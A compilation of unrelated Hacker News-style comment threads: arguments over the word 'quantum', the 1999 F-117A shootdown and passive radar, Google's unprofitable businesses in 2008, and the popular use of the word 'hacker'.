<comment><USER22> While it is true that quantum is used a lot as a buzzword, here it is used in its literal scientific sense. And it is an exciting technology that has taken a lot of effort to be created that does not deserve such knee-jerk derisiveness.

<comment><USER26> "Quantum" is a science-y sounding word which sensationalist scientists use to push their otherwise inexplicable "exciting" ideas for fundraising. It's a joke in itself. A parody of what physics actually is.

Even the _actual_ scientist who formulated Quantum Electrodynamics didn't quite understand what _quantum_ is and what to make of it, nor did he find a way to properly explain it. This term and the theories behind it were used just to explain some connections in phenomena, not to invent new ones! Quantum laser, quantum liquid, quantum crystals, quantum nose, quantum ass!

There was a post here somewhere, discussing that science isn't exactly science anymore when it very closely resembles its own stereotype. A philosopher for example today isn't someone who actually thinks, but rather a person who writes non-sense papers just for the sake to be published in a major journal, because otherwise they can't find a job. So, it's not the scientists who publish science-y papers who deserve credit. I don't know who deserves any credit anymore. Academia makes me sick to my stomach.

<comment><USER22> You are referring to Feynman, but you are misunderstanding his quote quite a bit. He belongs to the "shut up and calculate" camp of science, and tried to say that it is not worth it to try to build "intuition" about a phenomenon so remote from the scale at which humans experience the world.

Instead of relying on hearsay to reinforce your beliefs, I implore you to challenge them and read an intro science textbook on quantum mechanics. It is that theory of nature that permitted us to build the day-to-day electronics that powers our lives and our civilization, and it is empowering to understand it. "Theoretical Minimum" is a good set of free courses with video lectures for instance.

Or if you prefer you can just continue with your self-aggrandizing pity and willful ignorance. It is true that there is a rat race in the sciences, but that does not devalue the amazing advances that science has nontheless given us.

Edit: for the more advanced I would suggest reading the first few chapters of Sakurai's or Griffiths' Quantum Mechanics textbook - if you know math they explain how quantum mechanics works quite well. Or Aaronson'a Quantum Computing since Democritus if you are more interested in computational complexity.

</comment></comment></comment></comment><comment><USER27> Stealth aircraft haven't been stealth for a while. The Serbians managed to destroy one F117a ([https://en.wikipedia.org/wiki/1999_F-117A_shootdown](https://en.wikipedia.org/wiki/1999_F-117A_shootdown)) and damage another.

This was because the Radar battery were using a different frequency.

You don't need a direct hit with a missile, just be close enough when you explode it.

Also, all the "shared battle information" is done via radio, which with passive radar will give wonderfully accurate positioning with cheap off the shelf hardware.

<comment><USER28> Not really. The opsec was poor; the aircraft had been using the same ingress/egress routes, so the SAM batteries knew where to look. That helps tremendously. Also, the F-117 has to open it's bomb bay to release its weapon. When it does so, it increases it's radar return dramatically, if only for a very short period of time. This helped the Serbians a lot.

And passive radar isn't a thing. There's passive radio sensors, that can theoretically detect a transmitter, but frequency hopping etc make that tough.

<comment><USER27> Passive radar is a thing, because I use it.

it works by using known radio sources (ie tv transmitters) which has the advantage of being powerful , continuous and reasonably unique signal pattern (for timing)

radio sniffing is where you listen for the aircraft directly, and there are a number of offerings on that front too. Phased array antenna with SDR front ends, are smashing bits of kit.

now frequency hopping spread spectrum means you need more DSP to find the signal, but its still there. In fact it provides nice timing signals because they hop frequency so much. There is more, but thats for another time

In theory the frequency hopping can be random, but that requires a shared random source, which is hard to sync.

<comment><USER28> That's not really radar though. Radar systems have a dedicated transmitter that broadcasts. Phased array radars have transmitters as well. What you're describing is more akin to ESM. Conflating the two definitions diminishes both. It's like when submarine movies depict sonar using a hydrophone without a transmitter; that's passive compared to real sonar that creates a ping.

Passive and active are both valuable in their own regimes, but they're not the same.</comment></comment></comment></comment>


Google's list of losers: YouTube and six other businesses that aren't making any money - <AUTHOR> http://www.alleyinsider.com/2008/5/google_not_making_any_money_from_youtube_six_other_businesses

<comment><USER2> I think it's a positive sign that some of Google's initiatives don't make much money (yet?). It shows that Google is taking risks.

</comment><comment><USER3> The article says YouTube is making $100 million. Is that revenue or profit? I was under the impression that YouTube was losing money with its $1 CMPs and such.

</comment><comment><USER4> Eventually the vast majority of these ad-based sites will crumble under the weight of their own hype.

</comment><comment> daniel-cussen Most of those are pretty recent. Expecting big profit from them might be asking too much.

</comment><comment><USER5> Don't you see that Google is just too good company in the sense of (<http://www.paulgraham.com/good.html>). YouTube is a charity.

</comment><comment><USER6> I thought youtube actually made lots of money in Q1 2008?</comment>


Ask HN: What's with people postfixing 'hacker' to random words? - <AUTHOR>

Growth hacker, product hacker etc. I'm seeing so much of this lately. Has the meaning of the word hacker changed yet again to be something else? Is it cool to be referred to as a hacker in popular culture now? (or are we all still members of a criminal enterprise who breach computer security with a few random taps on a keyboard) <comment><USER2> It makes as much sense (maybe even more) as talking about a "Code Guru" (guru being in fact a religious teacher) or "Code Ninja" (or "C++ Ninja, Database Guru or whatever combination). Language is something flowing and changing. The term "hacker" made it's way into everyday language, partly in the misunderstood way of something illegal, partly in the more correct way of somebody with great knowledge and creativity about something. In my view it was always part of the hacker culture to use this word to show respect towards any kind of great achievement, especially technically related, but I would even accept a great musician to be called a "music hacker". Movies, Comics and SciFi stories have done their own part to made it known (and in parts misunderstood)) widely and all the media hype about Nerds we have seen the last decade or so.

</comment><comment><USER3> A hacker isn't something that is part of a criminal enterprise that breaches computer security, that would be a Cracker. I think 'hacking' can be used in other contexts and makes sense. I wouldn't say the meaning has changed as it was always blurred but people are using it in some places where it may not make much sense.

<comment><AUTHOR> The criminal enterprise bit was my poor attempt at a joke :-)

But really, I have a feeling 'hacker' is going to be a Che Guevara. Random people proudly wearing it without the faintest clue of what it stands for!</comment></comment>